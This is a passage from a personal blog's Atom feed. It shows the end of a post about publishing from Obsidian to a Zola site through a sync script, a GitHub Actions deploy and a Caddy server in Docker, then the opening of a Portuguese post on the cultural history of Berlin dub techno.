&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;*&lt;/span&gt;&lt;span&gt; }&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;lang&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;en&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;toc&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;copy&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;featured&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;comment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;reaction&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;math&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;mermaid&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;outdate_alert&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-d-7&quot;&gt;outdate_alert_days&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt; 120&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-10&quot;&gt;-&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Shell Commands Plugin&lt;/strong&gt;: Executes the synchronization script directly from Obsidian, so I can publish posts without leaving my writing environment.&lt;/p&gt;
&lt;h3 id=&quot;2-synchronization-script&quot;&gt;2. Synchronization Script&lt;a class=&quot;zola-anchor&quot; href=&quot;#2-synchronization-script&quot; aria-label=&quot;Anchor link for: 2-synchronization-script&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The Python synchronization script (available at &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://github.com/b1scoito/biscoito.eu/blob/main/scripts/sync_posts.py&quot;&gt;my GitHub repository&lt;/a&gt;) handles the conversion from Obsidian&#39;s YAML frontmatter to Zola&#39;s TOML format. It only updates files that have actually changed and can automatically commit and push changes to the GitHub repository.&lt;/p&gt;
&lt;p&gt;Key features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;YAML to TOML frontmatter conversion&lt;/li&gt;
&lt;li&gt;Change detection to avoid unnecessary updates&lt;/li&gt;
&lt;li&gt;Automatic file cleanup for deleted posts&lt;/li&gt;
&lt;li&gt;Git integration for seamless version control&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;3-automated-deployment-with-github-actions&quot;&gt;3. Automated Deployment with GitHub Actions&lt;a class=&quot;zola-anchor&quot; href=&quot;#3-automated-deployment-with-github-actions&quot; aria-label=&quot;Anchor link for: 3-automated-deployment-with-github-actions&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The GitHub workflow triggers on every push to the main branch:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ame&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; B&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;uild and Deploy Zola Site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-4&quot;&gt;on&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;  p&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ush&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    b&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ranches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; m&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;ain&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;obs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;  b&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;uild-and-deploy&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    r&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;uns-on&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; u&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;buntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    s&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;teps&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt; n&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ame&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; C&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;heckout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        u&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ses&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; a&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;ctions/checkout@v4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ith&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          s&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ubmodules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; r&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;ecursive&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt; n&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ame&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; I&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;nstall Zola&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        u&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ses&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; t&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;aiki-e/install-action@zola&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt; n&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ame&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; B&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;uild Site&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        r&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;un&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; z&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;ola build&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt; n&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ame&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; D&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;eploy to Server&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        u&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ses&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; e&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;asingthemes/ssh-deploy@main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;        w&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ith&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          S&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;SH_PRIVATE_KEY&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;{{ secrets.VPS_SSH_PRIVATE_KEY }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          R&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;EMOTE_HOST&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;{{ secrets.VPS_HOST }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          R&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;EMOTE_USER&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;{{ secrets.VPS_USER }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          R&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;EMOTE_PORT&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;{{ secrets.VPS_PORT }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          T&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ARGET&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;{{ secrets.VPS_TARGET_DIR }}/public&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          S&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;OURCE&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;public/&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          E&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;XCLUDE&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/.git/, /.github/, /.obsidian/&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;          A&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;RGS&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;-rltgoDzvO --delete&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;4-production-environment&quot;&gt;4. Production Environment&lt;a class=&quot;zola-anchor&quot; href=&quot;#4-production-environment&quot; aria-label=&quot;Anchor link for: 4-production-environment&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The VPS runs Caddy in a Docker container with good security and performance:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Docker Compose Configuration&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ervices&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;  c&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;addy&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    i&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;mage&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;addy:latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    c&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;ontainer_name&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;addy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    r&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;estart&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; u&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;nless-stopped&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    p&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;orts&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;80:80&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;443:443&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;443:443/udp&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;    v&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;olumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; .&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;/Caddyfile:/etc/caddy/Caddyfile:ro&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; /&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;var/www/biscoito.eu:/usr/share/caddy:ro&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;addy_data:/data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt; c&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-6&quot;&gt;addy_config:/config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;olumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;  c&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;addy_data&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;  c&lt;/span&gt;&lt;span class=&quot;z-l-3 z-d-5&quot;&gt;addy_config&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Caddyfile with Security Headers&lt;/strong&gt;: The Caddyfile includes comprehensive security headers for an A+ rating on security scanners, with Content Security Policy, HSTS, and other modern web security standards.&lt;/p&gt;
&lt;h2 id=&quot;the-workflow-in-action&quot;&gt;The Workflow in Action&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-workflow-in-action&quot; aria-label=&quot;Anchor link for: the-workflow-in-action&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The complete publishing process looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Write&lt;/strong&gt;: Create a new post in Obsidian using the Templater plugin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sync&lt;/strong&gt;: Execute the shell command to run the synchronization script&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deploy&lt;/strong&gt;: GitHub Actions automatically builds and deploys the site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serve&lt;/strong&gt;: Caddy serves the static files with optimal performance and security&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This creates a writing experience that feels like using a modern note-taking app but publishes to a professional, high-performance website.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This workflow is more than just a technical solution—it&#39;s basically about leveraging automation to focus on what actually matters: creating content. By removing friction from the publishing process, I can concentrate on writing rather than wrestling with deployment stuff.&lt;/p&gt;
&lt;p&gt;The combination of Obsidian&#39;s excellent writing experience, Zola&#39;s performance, and modern CI/CD practices creates a publishing system that works great for personal blogs while maintaining simplicity and reliability.&lt;/p&gt;
&lt;p&gt;The time I spent building this automation pays off with every post I publish, turning what used to be a multi-step, error-prone process into a single command execution.&lt;/p&gt;
&lt;p&gt;Fun fact: This blog post was written exactly with that same workflow I just showed you. ;)&lt;/p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Underground Frequencies – A Revolução Cultural do Techno</title>
		<published>2025-09-10T00:00:00+00:00</published>
		<updated>2025-09-10T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/underground-frequencies-a-revolucao-cultural-do-techno/" type="text/html"/>
		<id>https://biscoito.eu/posts/underground-frequencies-a-revolucao-cultural-do-techno/</id>
		<content type="html">&lt;p&gt;Como alguém que passou incontáveis madrugadas perdido entre as batidas hipnóticas de clubs de Techno underground, e até em casa, posso dizer que o que começou nos porões de Berlim se transformou em algo muito maior do que música. O &lt;strong&gt;Deep&lt;/strong&gt;/&lt;strong&gt;Hypnotic&lt;/strong&gt; e &lt;strong&gt;Dub &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Techno&quot;&gt;Techno&lt;/a&gt;&lt;/strong&gt; que emergiram dos escombros da reunificação alemã criaram um &lt;strong&gt;&lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://alataj.com.br/xpress/ims-report-2025&quot;&gt;fenômeno cultural global de US$ 12,9 bilhões&lt;/a&gt;&lt;/strong&gt; que funciona tanto como movimento de resistência quanto como força de construção de comunidade em seis continentes.&lt;/p&gt;
&lt;p&gt;Esses não são apenas &quot;subgêneros&quot; do techno – são ecossistemas culturais completos que reformularam o desenvolvimento urbano, a expressão política e a formação da identidade social ao redor do mundo. E tudo começou em 1993, quando dois caras em Berlim gravaram uma faixa ao vivo num galpão abandonado em Potsdam. Hoje, &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://www.npr.org/2024/03/15/1238876785/how-berlins-legendary-techno-scene-has-become-recognized-by-unesco&quot;&gt;essa cultura é reconhecida pela UNESCO&lt;/a&gt; como patrimônio cultural imaterial.&lt;/p&gt;
&lt;h2 id=&quot;a-revolucao-do-dub-techno-berlinense&quot;&gt;A revolução do Dub Techno berlinense&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-revolucao-do-dub-techno-berlinense&quot; aria-label=&quot;Anchor link for: a-revolucao-do-dub-techno-berlinense&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Vamos voltar para &lt;strong&gt;1993 em Berlim&lt;/strong&gt;. A cidade ainda estava se reorganizando depois da queda do Muro, haviam prédios abandonados por todo lado, e foi nesse cenário que &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Moritz_von_Oswald&quot;&gt;Moritz von Oswald&lt;/a&gt; e &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://ra.co/dj/markernestus&quot;&gt;Mark Ernestus&lt;/a&gt; formaram o &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https://en.wikipedia.org/wiki/Basic_Channel&quot;&gt;Basic Channel&lt;/a&gt;. Eles pegaram a produção carregada do eco do Dub jamaicano e misturaram com as estruturas minimalistas do techno de Detroit. O resultado? Um gênero completamente novo que mudaria tudo.&lt;/p&gt;
